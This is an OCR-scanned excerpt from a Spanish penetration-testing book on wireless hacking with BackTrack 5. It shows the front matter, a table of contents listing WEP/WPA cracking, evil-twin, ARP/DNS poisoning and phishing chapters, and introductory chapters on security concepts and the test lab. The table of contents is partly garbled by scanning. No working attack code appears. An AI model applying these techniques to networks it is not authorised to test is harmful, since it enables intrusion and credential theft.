BackIrack o

Hacking de redes
inalambricas




BackTrack 5

Hacking de redes inalambricas

David Arboledas Brihuega

Profesor de informatica y tecnologia




s

La ley prohibe

Copiar o Imprimir este libro

BACK TRACK 5. HACKING DE REDES INALAMBRICAS
© David Arboledas Brihuega©

© De la Edicion Original en papel publicada por Editorial RA-MA
ISBN de Edicion en Papel:978-84-9964-232-1
Todos los derechos reservados © RA-MA, S.A. Editorial y Publicaciones, Madrid, Espaiia.

MARCAS COMERCIALES. Las designaciones utilizadas por las empresas para distinguir sus productos
(hardware, software, sistemas operativos, etc.) suelen ser marcas registradas. RA-MA ha intentado a lo largo de
este libro distinguir las marcas comerciales de los términos descriptivos, siguiendo el estilo que utiliza el
fabricante, sin intencion de infringir la marca y solo en beneficio del propietario de la misma. Los datos de los
ejemplos y pantallas son ficticios a no ser que se especifique lo contrario.

RA-MA es una marca comercial registrada.

Se ha puesto el maximo empeifio en oftecer al lector una informacion completa y precisa. Sin embargo, RA-MA
Editorial no asume ninguna responsabilidad derivada de su uso ni tampoco de cualquier violacion de patentes ni
otros derechos de terceras partes que pudieran ocurrir. Esta publicacion tiene por objeto proporcionar unos
conocimientos precisos y acreditados sobre el tema tratado. Su venta no supone para el editor ninguna forma de
asistencia legal, administrativa o de ningtin otro tipo. En caso de precisarse asesoria legal u otra forma de ayuda
experta, deben buscarse los servicios de un profesional competente.

Reservados todos los derechos de publicacion en cualquier idioma.

Segiin lo dispuesto en el Codigo Penal vigente ninguna parte de este libro puede ser reproducida, grabada en
sistema de almacenamiento o transmitida en forma alguna ni por cualquier procedimiento, ya sea electronico,
mecdnico, reprografico, magnético o cualquier otro sin autorizacion previa y por escrito de RA-MA; su contenido
estd protegido por la Ley vigente que establece penas de prision y/o multas a quienes, intencionadamente,
reprodujeren o plagiaren, en todo o en parte, una obra literaria, artistica o cientifica.

Editado por:

RA-MA, S.A. Editorial y Publicaciones

Calle Jarama, 33, Poligono Industrial IGARSA
28860 PARACUELLOS DE JARAMA, Madnd
Teléfono: 91 658 42 80

Fax: 91 662 81 39

Correo electronico: editorial@ra-ma.com
Internet: www.ra-ma.cs y www.ra-ma.com

Magquetacion: Antonio Garcia Tomé
Disefio de portada: Antonio Garcia Tomé

ISBN: 978-84-9964-431-8

E-Book desarrollado en Espaiia en septiembre de 2014



Mientras haya curiosidad,
rios de entusiastas
amardan el conocimiento.



Todos los contenidos que se ven a lo largo
de la obra deben utilizarse unicamente en
equipos de su propiedad o en aquellos para
los que tenga permiso expreso por escrito.



INTRODUCCION A S RS N—
CAPITULO 1. HACKERS Y SEGURIDAD......cooevrrennne. S )
1.1  AMENAZAS INFORMATICAS ... 20

I Y T T T 21

1.1.2  Ataques pasivos............... A R B AR AR 22

1.2 HACKERS ... enas 23
L2t  Eablidadbmi bt o e e e e s e e s 24

1.3 AUTOEVALUACION 1 ..o 26
CAPITULO 2. EL CAMPO DE PRUEBAS................... R — 29
24 EREOUISITOS DEBARIIWARE ... ccnenncc o mnecmmmesiennsscsnammesme s 29

2.2 REQUISITOS DE SOFTWARE .......coiiiiiieeeeee e 31

23 BACKTRACK 5 e 32

28 DESUABIN v consammms s moi o s s i i R e 33

25 USODEBACKTRACK ... ..o 35
251 LAVEDVD oo 35

2:5.2 Instalacion enandisco AW ..o s 35

2.6 INSTALACION EN UNA MAQUINA VIRTUAL ..o 39
2.6.1 Configuracion de VirtualBox para BackTrack...............coooiiiins. 41

2.6.2 Instalacion de BackTrack en el disco virtual ... 44

27 BACKTRACK PORTABLE .........icnausansnammmmmnmamsmmmmmiasmimms 46

2.8 CONFIGURACION DEL TECLADO ..........oooooooooooeeeeeeeeeeeeee 48

2.9 ELENTORNQ DE TRABAJO........cnmmssim it 49
2.9.1  Elpanel SUPEIIOT ........oouiiiiiiii e 49

292 Elpanel INferIOr.......c.ooviiviiieeiiee e 50

293 Bl 8SCTIIOTIO 1o 51



10 BACKTRACK 5. HACKING DE REDES INALAMBRICAS © RA-MA

2.10 CONFIGURACION DE LA CONEXION DE RED EN LA MAQUINA

VIRTUAL ...t 52
2.10:1 Configuracion deBthemet:......cvmimmmmumnusnmmmamsnmimmrssss 52
2.10.2 ‘Conhguracion INAITIBIIOH .. .. ..o s 53

2.11 ACTUALIZAR BACKTRACK ..o 53
2.12 INSTALACION DE HERRAMIENTAS ADICIONALES ..o 55
22T NESSUS .. e e et ee e et e e e eeeeeeeans 55

2.13 PERSONALIZAR BACKTRACK ... 57
2.14 CONFIGURACION DEL PUNTO DE ACCESO......oovooooeeeeeeeeeeeeeeeeeee. 60
2.15 CONFIGURACION DE LA INTERFAZ INALAMBRICA .......coooooveveernn. 63
2.16 CONECTARSE AL PUNTO DE ACCESO.....oo.. oo 65
2.17 AUTOEVALUACION 2o 68
CAPITULO 3. DEBILIDADES EN LAS REDES WI-FI ................ .
3.1 TRAMAS ANIVEL MAC ... oo 69
3.2 CAPTURA E INYECCION DE PAQUETES ... oo 71
3.2.1 Modo monitor............ e —|

322 Moniornzacion g PRBIEIEE. s S 73

3.3 CAPTURA EN LA RED LABORATORIO ... 79
34 INYECCION EN LA RED LABORATORIO .....oooooooooooooeeeeeenn 81
3.5 AUTOEVALUACION 3.0 83
CAPITULO 4. VULNERABILIDAD EN LA AUTENTICACION . S, .
A1 REDES OCULTAS ..o 85
4.1.1 Descubriendo €l SSID .o 86

42 FILTRO POR DIRECCIONES MAC ..o, 89
43 AUTENTICACION ABIERTA ......ovoiooooooeoeeeeeeeeeeeeeeeeeeeeeeee e 92
"I IR L0 130 LG 0 S ————————— 93
4.5 AUTOEVALUACION 4. ... eees e 98
CAPITULO 5. DEBILIDADES EN EL CIFRADO.........oouorruercnernnes w99
5.1 WEP oottt 99
52 REVENTANDO WEP ....ooomooeeieeeeee oo s e es e 100
5.2.1  MeEtodo ChOp-ChOP ....ccoovieieeee e s 106

522 Ataque por fragmentacion ... 109

5.3 WPAIWPAD ..o 113
54 REVENTANDO WPAMWPEA2IBE ... ..o naim s st 114
Sl  Ataguepor TerEl BIURL. ..o s 118

342  Acelerandoiel Provesn v S 122



© RA-MA iNDICE 11

5.5 AUTOMATIZAR EL ATAQUE ...t 131

5.6 CONECTARSE AREDES WEP/WPA ... oo 134

5.7 AUTOEVALUACION 5. 137
CAPITULO 6. ATAQUES CONTRA LA INFRAESTRUCTURA ..ceeueeeeerecrererenens 139
6.1 CREDENCIALES DEL PUNTO DE ACCESO ... 139
011 HYATa .o 140

6.1.2 Fuerza bruta contra ¢l punto de acCe80.........cvriimiiinnniinsmssnsinsrnsninssissas 143

6.1.3 Fuerza bruta contra WS o 147

6.2 REAVER .o e e 149
6.2.1  ISTATAETON v ovsmssosmmmnsss s s e S EE s s s 4 149

622 USO..ooioiiiieieeieeie e 150

6.3 WPSCRACKGUL ..o 152

6.4 DENEGACION DE SERVICIO ... .o 153

6.5 GEMELO MALVADO ..o 157

o O e 4L 13 1 Lo ———— 160

6.6 PUNTO DE ACCESO NO AUTORIZADO ... 162
6.6.1  Contramedidas ... ..o 166

6.7 AUTOEVALUACION 6 ..o 167
CAPITULO 7. OFENSIVAS CONTRA EL CLIENTE e e 169
7.1  ASOCIACIONES ERRONEAS ..o 169

7.2 ATAQUE CAFFE LATTE .....ooiiiiiiieeoeeeeeeeeeeeeeee s 175

73 ATAQUE HIRTE .....oooimooooomoeeeeeeeeeoeeeeeee e 180

74 OBTENCION DE CLAVES WPA/WPA2 SIN PUNTOS DE ACCESO .......... 182

7.5 AUTOEVALUACION 7 .oooooooooooooeeeeeeeeeeee e 186
CAPITULO 8. ATAQUES AVANZADOS ' 189
8.1 ATAQUE DEL INTERMEDIARIO ... 189

82 CAPTURA DEL TRAFICO Y SECUESTRO DE LA SESION.........co.cooooonone... 194

83 TECNICAS DE SUPLANTACION DE IDENTIDAD ....coooovoioiiveeeen 198
8.3.1 Envenenamiento ARP ... 198

8.3.2 Envenenamiento DNS e 203

84 AUTOEVALUACION 8 oo 207
CAPITULO 9. INGENIERIA SOCIAL...... D 209
9.1  PSICOLOGIA HUMANA ..o 210

92 ELABECE DE LA INGENIERIA SOCIAL ..o 210

L ) 3 SOOI 211
9.3.1 Ataques phishing ............ e 214

932 Recaperacion decredenctales. . ..mmvmsmmmapnnsssiansssm 221



12 BACKTRACK 5. HACKING DE REDES INALAMBRICAS © RA-MA

9.33 Generador de contrasenas comunes de USUario .............cccocoeveeeeeeeenenns 226

9.3.4 Puertas traseras con @pplets JaVa.............cccoevriveeeeiieeee s 228

94 CONTRAMEDIDAS .o 233
9.5 AUTOEVALUACION Q..o een e 234
CAPITULO 10. ATAQUES CONTRA WPA-ENTERPRISE ......cooovemrenrrnssnsssasassnens 235
10.1 INSTALACION Y CONFIGURACION DE FREERADIUS .....cooivorrirann 235
10.1.1 Configuracion .............cccoeieiciiimiicicoieeiee e SO 237

10.2 MECANISMOS DE AUTENTICACION EN UN SERVIDOR RADIUS......... 243
V2T BAPTTLLS . coimiuawivumiss o s o e s b v s s assss e 243
1022 EAP-TLS ..o e 244

10.3 ATACANDO PEAP ... 244
10.4 - ATACANDQ BEAP-TTLS i ovuaim i i s s e aiiiisasiaiissiinisn 248
10.5 CONSEJOS e 250
10.6 AUTOEVALUACION 10............cccoovvverrernnnn. RO T——— 251
CAPITULO 11. METODOLOGIA. CASO PRACTICO .....ccormurcrmasnsneessassssssersassens 253
11.1 TIPOS DE PRUEBAS . e 254
11.2 METODOLOGIA EN LOS ANALISIS DE SEGURIDAD ......o.covvvvvovean 254
11.3 METODOLOGIA CON BACKTRACK ...covinmmmmnnamsimminsiaimmmns 255
1L PAamifeasion. . ..o oo s e sansesses susannnsasm 255
11.3.2 DeSCubIMIENtO. ... ...o.eiiiiiiiieee et 257
T1.3.3 INETUSTON .o eeee 259
1134 INfOrmMe ..o 261

11.4 AUTOEVALUACION 11 oo 262
ANEXO A. HERRAMIENTAS ADICIONALES.......... R — 263
Al NEXPOSE.. ... e ena s 263
AL INSAlACION. ..ot e ..264
A.1.2 Autenticacion en NeXpose COMMUNILY .....ooooveerereeeeeiieeeeeeee e 268
A.1.3 Usode NeXpose COMMUNILY ......coovoirriierieeieerecrceeeceseee e 270

A BRTAR v e e s s s s SRS 273
A.2.1 Especificacion del objetivo.........cocooiiiieiiiiiiiicecee 275
A22 Opciones de escane0o TCP ... 277
A23 Opeiones UDP ..o 278
A24. Especificacionide PUEHOS .. oowvaismsmmm s mmmisesinssssss 278
R i L L ——— 279
A.2.6 Archivo de ordenes con Nmap ........... S ....281

A3 METASPLOIT ... e eaeenens 283
A3 ACtUANZACION ..o 283

A3.2 Bagesdedmosy Metasploit. . canmmanmmammsssmmasvs 285



© RA-MA iNDICE 13

AJ3 Metasplort 5 NP oo v s s s s sssssssonsisn 288

A34 MOAUIoS QUXIITATES ... 290

A3S APIeNdIZAJC.....c.ooo oo 292

A4 AUTOEVALUACION 12 ..o 298
ANEXO B. RESPUESTAS DE AUTOEVALUACION ..ouueeineressisresnssassssesssssssssssscns 301
CAPITULO 1. HACKERS Y SEGURIDAD......... oo 301
CAPITULO 2. EL CAMPO DE PRUEBAS..........ooooeeeeoeeeoeeeoeseeee e 302
CAPITULO 3. DEBILIDADES EN LAS REDES WI-FI ..o 302
CAPITULO 4. VULNERABILIDAD EN LAAUTENTICACION ..o 303
CAPITULO 5. DEBILIDADES EN EL CIFRADO ..o 303
CAPITULO 6. ATAQUES CONTRA LA INFRAESTRUCTURA ....o.covoovoreen 304
CAPITULO 7. OFENSIVAS CONTRA EL CLIENTE. ....cooococisisimmsissmiosonsin 304
CAPITULO 8. ATAQUES AVANZADOS ... .o 305
CAPITULO 9. INGENIERIA SOCIAL ... 305
CAPITULO 10. ATAQUES CONTRA WPA-ENTERPRISE .......oovoooooiieee. 306
CAPITULO 11. METODOLOGIA. CASO PRACTICO ... 306
ANEXO A. HERRAMIENTAS ADICIONALES ..o 307
BIBLIOGRAFIA " i ' 309

INDICE ALFABETICO..... " & ) 317







INTRODUCCION

BackTrack es una plataforma para la realizacion de auditorias de seguridad
y pruebas de intrusién con una enorme cantidad de herramientas de codigo abierto
y gratuitas para identificar, detectar y explotar vulnerabilidades en los sistemas
informaticos.

BackTrack 5. Hacking de redes inalambricas es el primer y unico libro
editado en Espafia hasta la fecha sobre el sistema operativo BackTrack. Es una obra
centrada en el desarrollo préctico, paso a paso, de pruebas de intrusion inalambricas
empleando la misma metodologia y herramientas que un hacker utilizaria. Con
la obra, hemos querido ofrecer al lector la preparacion practica necesaria y los
procedimientos de prueba que reflejan fielmente diferentes escenarios de un mundo
real.

El libro comienza con una breve introduccion al mundo de la seguridad
informatica y de los hackers, para pasar a la accion con la preparacion del laboratorio
inalambrico que necesitamos para comenzar con todas las practicas propuestas a lo
largo de la obra. En la siguiente parte del libro, se explican las debilidades propias de
las redes inaldmbricas en lo que a autenticacion y seguridad se refiere y se aprendera
a aprovecharlas para acceder con éxito a la red. A continuacion, veremos como se
puede atacar la propia infraestructura de la red, sobre todo el punto de acceso, a veces
la parte méas minusvalorada de todo el complejo. Asi mismo, también estudiaremos
como atacar a clientes aislados, en ausencia de redes inalambricas, para obtener la
clave WEP o WPA de las redes almacenadas en sus sistemas operativos. En la tltima
parte del libro, aprenderd a realizar los ataques mas avanzados, como el secuestro
de sesion, la suplantacion de identidad o aquellos que aprovechan la psicologia
humana para recuperar credenciales o establecer puertas traseras en las maquinas. A
continuacion, hemos dedicado un capitulo a las ofensivas contra WPA-Enterprise y
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servidores RADIUS en entornos empresariales, el escenario mas complejo con el que
un auditor o administrador puede encontrarse, pero también sujeto a vulnerabilidades
que habra que considerar. Finalmente, el lector encontrara un caso practico real de
las pruebas de intrusion realizadas en un pequeiio estudio de arquitectura como parte
de una auditoria de seguridad completa.

El libro se ha escrito con la idea de que sirva de guia profesional,
completamente préctica, para desarrollar toda una gama de pruebas que entrenen
al lector en el uso de BackTrack, tanto para usarlo en un entorno profesional como
en uno experimental. Si1 usted es un apasionado de la seguridad informética, o un
administrador de red con conocimientos basicos de Linux/Unix, entonces este libro
es para usted.

Todo lo que usted necesita para seguir la obra son dos ordenadores: uno con
BackTrack como sistema operativo, que actuard como méaquina atacante, y otro con
Windows, que sera la victima; ademas, claro esta, de una conexion inalambrica a
Internet y mucha paciencia.

A lo largo del libro vera diferentes tipografias y estilos que distinguen entre
distintas clases de informacion. Asi, por ejemplo, los bloques de codigo apareceran
como sigue:

=[ metasploit v4.5.0~-dev [core:4.5 api:1.0]
+ -—- ——=[ 974 exploits - 518 auxiliary - 159 post
+ -—- ——=[ 262 payloads - 28 encoders - 8 nops
=[ svn rl6007 updated 26 days ago (2012.10.24)

Cuando se quiera hacer hincapié en una parte particular del cédigo, aquella
ird en negrita:

#

## SET TO ON IF YOU WANT TO USE EMAIL IN CONJUNCTION WITH WEB ATTACK
WEBATTACK EMATL=0ON

#

Todas las instrucciones u 6rdenes que deban teclearse por consola las vera
de cualquiera de estas dos formas:
# apt-get update

wget davidarboledas.es/bt/bt5.sh

Los términos y conceptos importantes que debe conocer irdn en negrita y las
direcciones web, en cursiva.
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Por tltimo, las notas, consejos y advertencias de seguridad seran como sigue:

N,

f Las notas apareceran asi.

Los consejos se muestran de esta forma.

Asi indicaremos las advertencias de seguridad.

Aunque se ha puesto todo el esmero posible en asegurar la precision del
contenido de la obra, los errores son propios de las personas, y en un libro intervienen
muchas, por lo que las erratas existiran. Asi pues, si encuentra algtn error en el texto
o en el codigo, no dude en ponerlo en conocimiento de la editorial a través del
correo editorial(@ra-ma.com. De este modo, ahorrard a futuros lectores importantes
quebraderos de cabeza y permitira corregirlas en siguientes ediciones.

Para finalizar, quiero agradecer a la editorial Ra-Ma su confianza y buen
hacer para llevar a término esta obra, asi como a todos aquellos alumnos que han
participado, y a los que quisieron y finalmente no pudieron, reproduciendo todas y
cada una de las practicas aqui propuestas.



HACKERS Y SEGURIDAD

Segun la Real Academia de la Lengua, seguridad es la cualidad de seguro,
es decir, de asegurar el buen funcionamiento, precaviendo que el sistema falle, se
frustre o se violente. En el mundo de las telecomunicaciones, como en cualquier otro
aspecto de nuestra vida, la seguridad, entendida como la imposibilidad de violentar
un sistema, es imposible de conseguir. No obstante, si podemos lograr un grado de
fiabilidad lo suficientemente aceptable como para considerar un sistema seguro.

Diremos que un sistema informatico es seguro cuando cumpla todas y cada
una de las siguientes caracteristicas:

P Confidencialidad. Se refiere a la privacidad de los elementos de
informacion almacenados y procesados en un sistema informatico.
Basandose en este principio, debe protegerse el sistema de accesos
por parte de programas o personas no autorizados. Este principio es
particularmente importante en sistemas distribuidos, aquellos en los que
los usuarios, ordenadores y datos no se encuentran fisicamente en el
mismo lugar, pero estan fisica y l6gicamente interconectados.

¥ Disponibilidad. Es la caracteristica, cualidad o condicion de la
informacion de encontrarse a disposicién de quienes deben acceder a
ella, ya sean personas, procesos o aplicaciones en cualquier momento en
que se necesite.

P Integridad. Es la propiedad que busca mantener los datos libres
de modificaciones no autorizadas. Debe mantener con exactitud la
informacion, tal cual fue generada, sin ser manipulada o alterada por
personas o procesos no autorizados.
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¥ No repudio. Proporciona proteccion contra la renuncia, por parte
de alguna de las entidades implicadas en la comunicacion, de haber
participado en toda o parte de la comunicacion. El no repudio evita que
el emisor o el receptor nieguen la transmision de un mensaje. Asi, cuando
se envia un mensaje, el receptor puede comprobar que, efectivamente, el
supuesto emisor envid el mensaje. De forma similar, cuando se recibe un
mensaje, el emisor puede verificar que, de hecho, el supuesto receptor
recibio el mensaje.

1.1 AMENAZAS INFORMATICAS

Una amenaza es una condicion por la que un sistema informatico puede ver
comprometida la confidencialidad, integridad y disponibilidad de la informacion. Las
amenazas de seguridad pueden producirse de forma intencionada o ser consecuencia
de errores de programacion y/o configuracion.

Los ataques informadticos son, por tanto, todos aquellos métodos por los
cudles se intenta desestabilizar, dafar o tomar el control de un sistema informatico
ajeno. Podemos realizar una primera clasificacion de los tipos de ataque segun los
objetivos de seguridad que vulneran (Figura 1.1):

¥ Interrupcion. Este ataque vulnera la disponibilidad de un recurso
informatico, como el robo de hardware, el corte de una linea o la
denegacion de servicio.

¥ Intercepcion. Este ataque vulnera la confidencialidad, pues un intruso ha
accedido a informacion para la que no estéa autorizado.

¥ Fabricacion. Vulnera la autenticidad, pues se trata de modificar la
informacion para que sea similar al recurso original.

¥ Modificacion. Ataca la integridad de los datos, pues se han cambiado sin
la autorizacion correspondiente en algiin momento entre su creacion y la
recepcion por parte del destinatario.

Estos ataques, asi mismo, pueden clasificarse como activos o pasivos,
respectivamente, segin se modifique o no de alguna forma el flujo de datos.
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Figura 1.1. Tipos méas habituales de ataques informaticos

1.1.1 Ataques activos

Los ataques activos implican algin tipo de modificacion del flujo de
datos que circula por la red o la creacion de nuevos datos. Podemos distinguir,
fundamentalmente, cuatro categorias:

¥ Denegacion de servicio. Estos ataques, conocidos genéricamente como
DoS, son aquellos que impiden el normal uso de un recurso informatico
cualquiera. Normalmente, provoca la pérdida de la conectividad de la red
por el consumo del ancho de banda de la red de la victima o sobrecarga
de los recursos computacionales del sistema.

¥ Modificacion. Una porcion del flujo de datos es modificada para producir
un efecto no autorizado.



BACKTRACK 5. HACKING DE REDES INALAMBRICAS © RA-MA
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P Repeticion. Un ataque por repeticion se produce cuando un atacante
copia una secuencia del mensaje entre emisor y receptor y la reenvia a
una o mas partes. A menos que se mitigue, el equipo objeto del ataque
procesa la secuencia como mensajes legitimos.

¥ Suplantacion de identidad (phishing). Es una técnica de engafio al
usuario que intenta conseguir informacion confidencial suplantando la
identidad de otra persona, organismo o sitio web.

1.1.2 Atagues pasivos

Este tipo de amenazas lo que hace es un analisis del trafico que circula por
la red, sin llegar a modificar los datos enviados a través de esta. Tampoco se altera la
comunicacion, simplemente se monitoriza el trafico para asi obtener informacion de
importancia para el atacante.

Los ataques pasivos son muy dificiles de detectar, debido a que en ellos
no se produce ninguna alteracion de los datos. Sin embargo, es posible evitarlos
mediante el cifrado de los paquetes.

En la siguiente tabla puede observar los tipos de ataques mas habituales que
se dan sobre las redes 1nalambricas:

Se trata de blbquea: determinados servicios

para que los usuarios no puedan usarlos. liscrimin: tr.
legiﬁma e ﬂegitimo

Se trata del secuestro de la sesion activade  Cifrado y filtrado de

un usuario ya autenticado. paquetes.

Consiste en manipular a las personas, Formacion y concienciacion

aprovechando su inocencia, para eludirlos  del usuario.

sistemas de seguridad. |

Se emplean ataques basados en diccionarios ~ Contrasefias

o fuerza bruta. suficientemente seguras y
firma digital.

Consiste en engaiiar a los 1 usuarios Formacion del usuario y

empleando mensajes y/o sitios fraudulentos. ~certificados digitales.
Es un ataque pasivo para leer los paquetes Cifrado de datos.
que circulan por la red.

Se trata de una técnica de envenenamiento
para dirigir el trafico a direcciones falsas.

‘ifrado de los protocolos.
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1.2 HACKERS

Cuando se habla sobre hacking o se menciona la palabra hacker, normalmente
la gente suele pensar en alguien que tiene profundos conocimientos sobre informéatica
y que, ademads, es una persona que se dedica a tumbar sistemas o a realizar estafas a
gran escala. Desde luego, nada mas lejos de la realidad. Las malas peliculas, novelas
y la deleznable manipulacion de los medios de comunicacion, han hecho cambiar la
acepcion del concepto, identificando hacker con delincuente.

Un hacker, en el ambito de la informatica, es una persona apasionada, curiosa,
dedicada y comprometida con el aprendizaje, y en muchos casos, no solamente en
el rea de la informatica. El espiritu de esta cultura se extiende a cualquier drea del
conocimiento humano donde la creatividad y la curiosidad son importantes.

Existen diferentes clasificaciones de hackers, en la medida que esta cultura
se ha ido consolidando y dando a conocer:

¥V Black Hat. Es un hacker dedicado a la obtencion y explotacion de
vulnerabilidades en sistemas de informacion, bases de datos, redes
informaticas, sistemas operativos y determinados productos de software.
Por lo tanto, son también conocidos como atacantes de sistemas y
expertos en romper la seguridad de los mismos.

V' White Hat.Setratade hackers dedicadosalacorreccion de vulnerabilidades
de software, definicion de metodologias, medidas de seguridad y defensa
de sistemas por medio de distintas herramientas. Son aquellas personas
que se dedican a garantizar la seguridad en las aplicaciones, sistemas
operativos y proteccion de datos sensibles, para asegurar de esta forma la
confidencialidad de la informacion de los usuarios.

¥ Gray Hat. Es una clase de hacker que se dedica tanto a la obtencion
y explotacion de vulnerabilidades como a la defensa y proteccion de
sistemas, por lo tanto, sus actividades se encuentran en algin punto
intermedio entre las de los dos anteriores.

Ahora bien, hay otro término con el que se suele confundir a este colectivo, el
de crackers. Un cracker es aquella persona que consigue ganar acceso a los sistemas
por medio de mecanismos agresivos, como por ejemplo ataques de fuerza bruta para
la obtencion de cuentas de usuario, o mediante la modificacion de las propiedades
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o0 el comportamiento de un software determinado empleando técnicas de ingenieria
nversa, entre otras.

Asi que un hacker, en realidad, no es un delincuente, sino una persona
entusiasta con ganas de ampliar y difundir sus habilidades para que la informatica
siga evolucionando como parcela del conocimiento y como ciencia.

1.2.1 Habilidades basicas

La actitud de un hacker frente a un problema es vital, sin embargo, mas
importantes atin son sus habilidades. Estas, es cierto, van cambiando poco a poco a
medida que la tecnologia deja obsoletas algunas y crea otras nuevas. En cualquier
caso, a dia de hoy, son cuatro las habilidades que cualquier persona debera desarrollar
antes de poderse adentrar en esta parcela del conocimiento: aprender a programar,
manejar bien un sistema operativo tipo Unix, moverse con fruicion por la WWW y
saber escribir codigo HTML, y, por Gltimo, tener un nivel funcional de inglés.

1.2.1.1 CONOCIMIENTOS DE PROGRAMACION

Esta es, seguramente, la habilidad fundamental que todo hacker debe poseer.
Si usted no posee conocimientos de ningtin lenguaje, le aconsejo empezar por Pascal.
Pascal se caracteriza por ser un lenguaje de programacion estructurado, fuertemente
tipado, surgido en un principio para facilitar el aprendizaje de programacion a los
alumnos universitarios. Sin embargo, con el tiempo, su utilizacion excedi6 el ambito
académico para convertirse en una herramienta para la creacion de aplicaciones de
todo tipo. Puede visitar el sitio del proyecto Lazarus, http://www.lazarus. freepascal.org,
para obtener toda la informacion que necesite.

Si conoce los rudimentos y técnicas de programacion, puede seguir
con Python (http://www.python.org). Se trata de un lenguaje de programacion
interpretado, fuertemente tipado y multiplataforma con una sintaxis muy limpia y
relativamente fécil para los principiantes.

Otros lenguajes de particular importancia son Perl y LISP. Perl es un lenguaje
de programacion que toma muchas caracteristicas de C. Es muy recomendable
aprenderlo por razones précticas, pues es ampliamente usado en paginas web y
sistemas de administracion (http.//www.perl.org). De hecho, muchas veces se utiliza
Perl para no tener que escribir codigo en C. Asi que si no aprende a programar en €l,
al menos aprenda a leer su codigo.
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LISP es una familia de lenguajes de programacion de tipo multiparadigma
y proposito general que ha sido ampliamente utilizada en inteligencia artificial
(http://www.common-lisp.net). Incluso aunque después de aprenderlo no llegue a
utilizarlo, la experiencia que adquirira le hara un buen programador para el resto de
su vida.

Por ultimo, aprenda C/C++ s1 desea realmente ser un serio programador.
Desde luego no es un lenguaje para principiantes, pero merece la pena para
convertirse en un buen programador. C, el lenguaje de Unix, es muy apreciado por
la eficiencia del codigo que produce, por lo que se ha empleado largamente para
producir software de sistema y poco a poco para casi cualquier diseno; aunque, salvo
raras excepciones, podra emplear otros lenguajes menos complicados para producir
codigo, como Python.

Aprender a programar es un duro reto, como la vida misma, y, como en ella,
uno se convierte en buen programador leyendo y escribiendo, leyendo y escribiendo.
Asi pues, lea y escriba todo el codigo que pueda.

1.2.1.2 USO DE SISTEMAS TIPO UNIX

El paso mds importante para cualquier persona que se interese en el
mundo hacking es instalar un sistema operativo de codigo abierto, como cualquier
distribucion de Linux, alguno de los UNIX BSD o Solaris. ;Por qué? Entre otros
motivos porque no es posible leer ni modificar el codigo de un sistema propietario.
Intentar aprender a hackear en un sistema Windows es como aprender a bailar con
una armadura.

Unix es el sistema operativo de C y de Internet y, aunque puede desenvolverse
perfectamente en Internet sin tener ni idea de Unix, no puede ser un hacker en la Red
sin conocer las entrafias de los sistemas tipo Linux. Asi que instale un Linux, puede
hacerlo junto con Windows, ejecutelo, trastee, lea el codigo fuente, modifiquelo y
cargueselo. Programe herramientas para su distribucion y poco a poco, sin darse
cuenta, habréa adquirido unos enormes conocimientos.

Le recomiendo que empiece con la distribucion de Ubuntu
(http://www.ubuntu.com) una gran distro ideal para los primerizos y con toda la
potencia de los sistemas tipo Unix.
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1.2.1.3 LAWWW Y XHTML

Hoy todos los ordenadores estdn interconectados gracias a Internet, la
herramienta que ha cambiado el modo de relacionarnos, de encontrar informacion
y distribuirla. Es por ello esencial conocer las interioridades de internet, y no solo
saber manejar un navegador, cosa que cualquiera puede hacer, sino el hecho de
escribir HTML, el lenguaje de marcas que forma el nucleo de la WWW. Asi que
pongase manos a la obra y construya su propio sitio en la web. Cuando se maneje en
HTML, cambiese a XHTML. Puede descargar un buen manual para principiantes en
http://davidarboledas.es/xhtml.zip. .o importante es que su pagina tenga contenido,
sea util, sirva para algo y esté escrita con un vocabulario y gramatica impecables. Me
resulta especialmente horroroso acceder a un sitio web y casi no entender lo que en
¢l se dice por su propia sintaxis y gramatica.

1.2.1.4 EL IDIOMA

El inglés es el idioma de la cultura hacker y de Internet, por ello, resulta vital
que st no posee un nivel funcional de inglés lo aprenda. Lo suficiente como para leer
y poder escribir, para entender y comunicar al resto de internautas la informacion
que deba compartir. El inglés es una lengua muy rica en vocabulario técnico, tanto
que a veces sus términos no pueden llegar a ser traducidos a otras lenguas, y lo vera
en mas de una ocasion a lo largo de esta obra.

Asi mismo, muchos programadores, incluido yo mismo, comentamos el
codigo fuente de los programas en inglés. Es una garantia de difusion por todo el
planeta.

1.3 AUTOEVALUACION 1

W (Cudles son las caracteristicas fundamentales que debe cumplir un
sistema informatico para que podamos afirmar que es seguro segun los
estandares actuales?

a) Seguridad e integridad, ademas de no repudio en destino.
b) Disponibilidad, confidencialidad, no repudio e integridad.
¢) No repudio en origen, confidencialidad e integridad.

d) Ninguna de las anteriores.

WV ;Podemos afirmar que hemos conseguido un sistema completamente
seguro? ;Por qué?
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W ;Cual es el nombre de la propiedad que busca mantener los datos libres

de modificaciones no autorizadas?

a) Integridad.

b) Disponibilidad.
¢) Confidencialidad.
d) No repudio.

¢Dentro de qué categoria de ataque informético se incluiria aquel en el
que el atacante accede a informacion confidencial?

a) Modificacion.
b) Interrupcion.
¢) Intercepcion.
d) Fabricacion.

(Cual de estos ataques informaticos es de tipo pasivo?

a) DoS.

b) Phishing.
¢) Hijacking.
d) Sniffing.

(En qué clasificacion de hacker pondria a aquel experto que se dedica a
garantizar la seguridad de los sistemas operativos?

a) Gray Hat.
b) Black Hat.
¢) Cracker.

d) White Hat.

(Cuadl de estos conocimientos no es esencial para un hacker?

a) Conocimientos de programacion.

b) Saber escribir HTML/XHTML.

¢) Manejar con soltura sistemas tipo Unix.
d) Todos ellos son necesarios.






EL CAMPO DE PRUEBAS

El concepto de seguridad en las redes inalambricas es relativamente
nuevo para muchos particulares y pequefias y medianas empresas. No garantizar
adecuadamente que nuestros dispositivos inaldmbricos puedan funcionar segun
los principios de seguridad vistos en el capitulo previo, puede tener consecuencias
devastadoras.

A través de las pruebas de intrusion inalimbrica, se obtiene una vision
realista de las amenazas y las vulnerabilidades de nuestra red. Estas pruebas son
acciones completamente practicas, por lo que serd necesario que instalemos un
laboratorio de pruebas donde podamos experimentar los distintos ataques y pruebas
plasmados en este libro, de un modo totalmente seguro y controlado.

2.1 REQUISITOS DE HARDWARE

................................................................................................................................................................................

Para montar nuestro laboratorio inalambrico necesitaremos:

¥ Dos ordenadores dotados de sendas tarjetas con conectividad Wi-Fi.
Para el desarrollo de esta monografia hemos empleado dos portatiles: un
HP Pavilion DV6-6095es con Windows 7 Ultimate x64, que serd nuestra
victima, y otro Toshiba Satellite Pro L300 con 4 GB de memoria RAM
y BackTrack 5 R3, que actuard como maquina atacante y de pruebas
(Figura 2.1).
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Figura 2.1. Ordenadores empleados a lo largo de la obra

” Un adaptador inalambrico. Necesitamos un adaptador que pueda
